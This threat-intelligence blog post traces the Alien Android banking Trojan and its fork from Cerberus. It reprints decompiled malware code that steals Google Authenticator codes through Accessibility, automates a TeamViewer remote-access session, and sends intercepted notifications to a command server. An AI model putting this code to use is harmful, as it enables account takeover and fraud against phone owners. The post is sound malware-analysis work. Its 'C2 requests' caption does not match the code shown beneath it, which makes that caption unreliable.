Intro

As predicted in our blog 2020 – year of the RAT, 2020 has been an effervescent year for financially motivated threat actors making use of Android malware. Although the ThreatFabric team discovered several new banking Trojans, it also observed the death of some others. Threat actors continue to innovate and try out new ways to steal and monetize personal information. In some cases, actors are successful, with long-running campaigns powered by their malware, in other cases, they are fruitless, resulting in the downfall of their malware, as quickly as it appeared. In this blog, we describe a relatively new and barely known Android banking Trojan with Remote Access Trojan, notification stealing and authenticator-based 2FA theft capabilities, dubbed Alien, and explain how it relates to infamous Cerberus malware, who’s service has recently been discontinued.

The preface, Cerberus

August 2020 marked the demise of Cerberus, the most successful Android banking Trojan service, or MaaS (Malware as a Service), of the last 12 months. Details about the Trojan can be found in our blog about from August last year. Apparently due to issues related to shortcomings of the staff within the threat actor’s technical team, architectural and technical issues with the Trojan remained unsolved long enough for Google Play Protect to detect all related samples on the spot on all infected devices, of course resulting in unhappy customers.

At the end of July, because of these issues, the actor behind Cerberus tried to sell the service, including the customer portfolio, in the hopes another actor would continue his work. Our telemetry, as seen in the graph below, shows a steady decrease of new Cerberus samples starting from this moment.

After a series of customer complaints and due to his fruitless attempts to sell the source code of the Trojan as a whole, the owner of the malware finally decided to end the rental service and refund active license holders. On August 10th 2020 he shared the source code of Cerberus with the administrator of the underground forum in which he was renting it out. As we forecasted, shortly after, the source code of the Trojan became available to the general public.

You might wonder why the number of samples drops and barely increases again despite the source code being publicly available. There are two reasons: firstly, actors who got their hands on the code need to understand how to setup the backend (C2) and builder, secondly the actors which successfully built samples noticed that their payload is immediately detected by Play Protect when installed on an Android device and therefore are now probably working on rearranging the code (resulting in their own code fork). All samples detected since the official Cerberus service interruption are test samples and no large-scale or successful campaign has been observed so far. However, since Cerberus was such a successful malware, it is likely that other actors will start using it actively once its issues are resolved, therefore we can expect it to resurface at any time.

Despite Cerberus not being actively rented and supported any longer, we still often see some researchers reporting active Cerberus campaigns. To explain why this happens we decided to write this blog and clear up any confusion: currently reported campaigns can be attributed to a fork of Cerberus, called “Alien”.

Behind the scenes

Our story starts on January 2020, when our analyst team first spotted something which at first glance could have been considered a new version of Cerberus. In those newly found samples the authors revisited the C2 communication protocol, added some new string protection techniques, renamed the side-loaded module filename to bare his nickname and added the TeamViewer based RAT function.

Despite some minor refactoring, the architecture of the Trojan stayed the same. At the same time, the Cerberus team was making announcements about a soon-to-be-published second version of the Trojan in their commercial topic in an underground forum. Therefore, we initially assumed that the samples discovered are in fact the first/test versions of that advertised new version of the Trojan and classified them as such. That held until 5 days later.

Enter the ring

On January 18th, we discovered an interesting new post from another actor in an underground forum. This actor, whose name matches the newly introduced module name for the malware in question, started to advertise his own private malware with VNC feature.

For the sake of clarity: Although VNC (Virtual Network Computing) is a specific graphical desktop-sharing system, threat actors often label all Trojans with remote access capabilities (RAT) as embedding VNC, regardless of the technology being used.

This discovery also matched the fact that the newly found samples included the RAT feature, making use of TeamViewer to provide remote access to the infected device.

The highly relatable codebase, showing the strong links between this new Trojan and Cerberus was conflicting with the fact that this Trojan was clearly operated by a separate group, therefore we decide to investigate the situation further. Luckily, it was only a matter of weeks before we could confirm what was going on.

Meet the Duke

In February, it became apparent that the new malware was operated separately and slightly differently than Cerberus. We started to see simultaneous campaigns using both Trojans. Additionally, the malware described by its apparent author was enriched by a 2FA stealing technique that was capable of stealing secret tokens from Google’s Authenticator application, while Cerberus didn’t have such a feature.

Mid-February, the actor who later proclaimed himself author of the BlackRock malware left a review on the profile of the apparent author, reviewing his malware-rental service:

On February 20th 2020, the Cerberus actors made a promotional post in their commercial topic that referenced researchers, sharing the samples of what they thought was the Cerberus malware. Somewhat later, the BlackRock actor replied to the post, condemning the Cerberus actors for taking credit for another malware project, stating that it was a different malware that he uses himself:

Thoughtfully, he included some screenshots with proof:

The tweet made by @pr3wtd that sparked that truly insightful conversation, clearly links provided IOCs with the sample of the malware that the BlackRock author was testing at the time, the Trojan advertised by the actor we already envisaged being author.

That sample indeed belongs to the same malware strain that we discovered earlier January.

The revelation

After we established a solid link between the actor running the private rental service and the samples, the only aspect we were missing was the name of the Trojan. Fortunately for us, after a while topics showing interest in a certain “Alien” malware started to appear in the underground forum and the author himself confirmed his affiliation to, and the name of, the Trojan:

Based on our in-depth knowledge of the Trojan (available in our Mobile Threat Intelligence portal), we can prove that the Alien malware is a fork of the initial variant of Cerberus (v1), active since early January 2020 and rented out at the same time as Cerberus. Cerberus being discontinued, its customers seem to be switching to Alien, which has become the prominent new MaaS for fraudsters.

Looking at what we know now about what happened with Cerberus and Alien, we could speculate that Cerberus was on the decline as the developers behind the Trojan shifted away from the project with the original source in order to start their own. Interestingly enough, this speculation is corroborated by the fact that when the second version of Cerberus (v2) was released in May 2020, it did not introduce any major new features, except for the one to steal 2FA codes from Google’s authenticator app. The code of that feature code is almost identical to that introduced with the Alien Trojan in February 2020. This indicates that at that time, the developer behind the Cerberus Trojan had access to, and might have been responsible for development of the Alien code.

The code of the Google Authenticator 2FA stealer of the Alien Trojan is visible in following snippet:

public final void sniffAuthenticator(AccessibilityService serv, AccessibilityEvent event, String currPackage) {
try {
        if(Build.VERSION.SDK_INT >= 18 && (currPackage.contains("com.google.android.apps.authenticator2"))) {
            A11yUtils.utils.log("run", t"com.google.android.apps.authenticator2");
            if(event.getSource() == null) {
                return;
            }
            String athenticatorContent = "";
            Iterator nodes = A11yUtils.getByMask(event.getSource(), "android.view.ViewGroup").iterator();
            int idx = 0;

            while(nodes.hasNext()) {
                Object currObj = nodes.next();
                AccessibilityNodeInfo currNode = (AccessibilityNodeInfo)currObj;
                String local = athenticatorContent;
                int idxCh;
                for(idxCh = 0; idxCh < currNode.getChildCount(); ++idxCh) {
                    AccessibilityNodeInfo child = currNode.getChild(idxCh);
                    if(child.getText() != null) {
                        A11yUtils.utils.log("Line: " + idx + ", index: " + idxCh, child.getText().toString());
                        local = local + "Line: " + idx + ", index: " + idxCh + ", text: " + child.getText().toString() + "\\n";
                    }
                }
                ++idx;
                athenticatorContent = local;
            }
            if(!athenticatorContent.isEmpty()) {
                A11yUtils.utils.appendPrefs(serv, this.strings.AS, "Logs com.google.android.apps.authenticator2: \\n" + athenticatorContent + "\[143523#\]");
                return;
            }
        }
    }
    catch(Exception unused_ex) {
        return;
    }
}

The code of the Google Authenticator 2FA stealer of the Cerberus Trojan is visible in following snippet:

public void logAuthenticator(AccessibilityService parent, AccessibilityEvent event, String currentApp) { 
    try { 
        if(Build.VERSION.SDK_INT >= 18 && (currentApp.contains("com.google.android.apps.authenticator2"))) { 
            this.log("run", "com.google.android.apps.authenticator2"); 
            if(event.getSource() == null) { 
                return; 
            } 
            String logs = ""; 
            Iterator groupIter = Utils.getElemByMask(event.getSource(), "android.view.ViewGroup").iterator(); 
            int paramIdx = 0; 
            while(groupIter.hasNext()) { 
                Object groupObj = groupIter.next(); 
                AccessibilityNodeInfo group = (AccessibilityNodeInfo)groupObj; 
                String log = logs; 
                int idx; 
                for(idx = 0; idx 
< group.getChildCount(); ++idx) { 
                    AccessibilityNodeInfo child = group.getChild(idx); 
                    if(child.getText() != null) { 
                        this.log("params1: " + paramIdx + ", params2: " + idx, child.getText().toString()); 
                        log = log + "params1: " + paramIdx + ", params2: " + idx + ", params3: " + child.getText().toString() + "\\n"; 

                    } 
                } 
                ++paramIdx; 
                logs = log; 
            } 
            if(!logs.isEmpty()) { 
                this.appendShPr(parent, this.string.logTag, "Logs com.google.android.apps.authenticator2: \\n" + logs + this.string.dE); 
            } 
        } 
    } 
    catch(Exception unused_ex) { 
    } 
}

The Alien malware

As described in previous sections, the Alien malware is a rented banking Trojan which offers more than the average capabilities of Android banking Trojans. It has common capabilities such as overlay attacks, control and steal SMS messages and harvest the contact list. It can leverage its keylogger for any use and therefore broaden the attack scope further than its target list. It also offers the possibility to install, start and remove applications from the infected device. Most importantly, it offers a notifications sniffer, allowing it to get the content of all notifications on the infected device, and a RAT (Remote Access Trojan) feature (by abusing the TeamViewer application), meaning that the threat actors can perform the fraud from the victim’s device.

The complete list of features of Alien is as follows:

• Overlaying: Dynamic (Local injects obtained from C2)
• Keylogging
• Remote access
• SMS harvesting: SMS listing
• SMS harvesting: SMS forwarding
• Device info collection
• Contact list collection
• Application listing
• Location collection
• Overlaying: Targets list update
• SMS: Sending
• Calls: USSD request making
• Calls: Call forwarding
• Remote actions: App installing
• Remote actions: App starting
• Remote actions: App removal
• Remote actions: Showing arbitrary web pages
• Remote actions: Screen-locking
• Notifications: Push notifications
• C2 Resilience: Auxiliary C2 list
• Self-protection: Hiding the App icon
• Self-protection: Preventing removal
• Self-protection: Emulation-detection
• Architecture: Modular

Differentiating between Alien and Cerberus

With two malware families originating from the same code base, we thought it would be useful for the community to be able to distinguish the Trojans. Distinction is the easiest by comparing the C2 protocols. The Alien C2 requests are built as follows:

try {
    if(Build.VERSION.SDK_INT >= 18) {
        if(this.packageNameLow.contains("com.teamviewer.host.market")) {
            AccessibilityNodeInfo tvUsername = A11yUtils.getById(eventLocal, "com.teamviewer.host.market:id/host\_assign\_device_username");
            AccessibilityNodeInfo tvPass = A11yUtils.getById(eventLocal, "com.teamviewer.host.market:id/host\_assign\_device_password");
            AccessibilityNodeInfo tvSubmit = A11yUtils.getById(eventLocal, "com.teamviewer.host.market:id/host\_assign\_device\_submit\_button");
            if(tvUsername != null) {
                this.tvUser = this.utils.readPrefs(this, this.strings.RT);
                if(!this.tvUser.isEmpty()) {
                    this.tvPass = this.utils.readPrefs(this, this.strings.RY);
                    this.isTvSubmitted = false;
                    this.isTvPassSet = false;
                    this.isTvUserSet = false;
                    this.tvStep = 0;
                    this.utils.writePrefs(this, this.strings.RT, "");
                    this.utils.writePrefs(this, this.strings.RY, "");
                }
            }
 
            if(this.tvStep == 0 && (A11yUtils.getById(eventLocal, "com.teamviewer.host.market:id/action\_bar\_root") != null
               && A11yUtils.getById(eventLocal, "com.teamviewer.host.market:id/buttonPanel") != null)) {
                     
                this.tvStep = 1;
                AccessibilityNodeInfo btn1 = A11yUtils.getById(eventLocal, this.dec("android:id/button1"));
                if(btn1 != null) {
                    this.a11y.clickButton(btn1);
                }
 
                AccessibilityNodeInfo checkBox1 = A11yUtils.getById(eventLocal,"com.samsung.klmsagent:id/checkBox1");
                AccessibilityNodeInfo btnConfirm = A11yUtils.getById(eventLocal, "com.samsung.klmsagent:id/btn_confirm");
                if(checkBox1 != null && this.tvStep == 1) {
                    this.a11y.clickButton(checkBox1);
                    this.a11y.clickButton(btnConfirm);
                    this.tvStep = 2;
                    Utils.start(this, "com.teamviewer.host.market");
                }
            }
 
            if(!this.tvUser.isEmpty() && !this.tvPass.isEmpty()) {
                if(tvUsername != null && !this.isTvUserSet) {
                    A11yUtils.setText(tvUsername, this.tvUser);
                    this.isTvUserSet = true;
                }
 
                if(tvPass != null && !this.isTvPassSet) {
                    A11yUtils.setText(tvPass, this.tvPass);
                    this.isTvPassSet = true;
                }
 
                if((this.isTvUserSet) && (this.isTvPassSet) && !this.isTvSubmitted) {
                    this.tvStep = 0;
                    this.a11y.clickButton(tvSubmit);
                    this.isTvSubmitted = true;
                    if(this.utils.readPrefs(this, this.strings.RI).equals("true")) {
                        this.backX2();
                    }
                }
            }
        }
        else if(this.packageNameLow.contains("com.samsung.klmsagent")) {
            AccessibilityNodeInfo checkBox2 = A11yUtils.getById(eventLocal, "com.samsung.klmsagent:id/checkBox1");
            AccessibilityNodeInfo btnConfirm2 = A11yUtils.getById(eventLocal, "com.samsung.klmsagent:id/btn_confirm");
            if(checkBox2 != null && this.tvStep == 1) {
                this.a11y.clickButton(checkBox2);
                this.a11y.clickButton(btnConfirm2);
                this.tvStep = 2;
                Utils.start(this, "com.teamviewer.host.market");
            }
        }
        else {
            this.tvStep = 0;
        }
 
        if((this.packageNameLow.contains("com.teamviewer.host.market")) && (this.utils.readPrefs(this, this.strings.RA).equals("true"))) {
            this.backX2();
        }
    }
}
catch(Exception unused_ex) {
}

@Override  // android.service.notification.NotificationListenerService
public void onNotificationPosted(StatusBarNotification arg4) {
    try {
        new NotificationHandler(this).sendNotification(new NotificationModel(arg4, true).toString());
    }
    catch(Exception v4) {
        v4.printStackTrace();
    }
}

@Override  // android.service.notification.NotificationListenerService
public void onNotificationRemoved(StatusBarNotification arg2) {
    try {
        new NotificationHandler(this).process(arg2);
    }
    catch(Exception v2) {
        v2.printStackTrace();
    }
}

@Override  // android.service.notification.NotificationListenerService
public void onNotificationRemoved(StatusBarNotification arg1, NotificationListenerService.RankingMap arg2, int arg3) {
    try {
        new NotificationHandler(this).process(arg1);
    }
    catch(Exception v1) {
        v1.printStackTrace();
    }
}

...

final void process(StatusBarNotification arg3) {
    this.sendNotification(new NotificationModel(arg3, false).toString());
}

final void sendNotification(String notification) {
    Utils utils = new Utils();
    Strings strings = new Strings();
    String notificationText = this.dec("{Notification} ") + notification + this.dec("\[143523#\]");
    utils.log(this.dec("sendSMS"), notificationText);
    utils.appendShPr(this.ctx, strings.LOG, notificationText);
    utils.sendLogs(this.ctx, utils.readShPr(this.ctx, strings.c2_handle));
}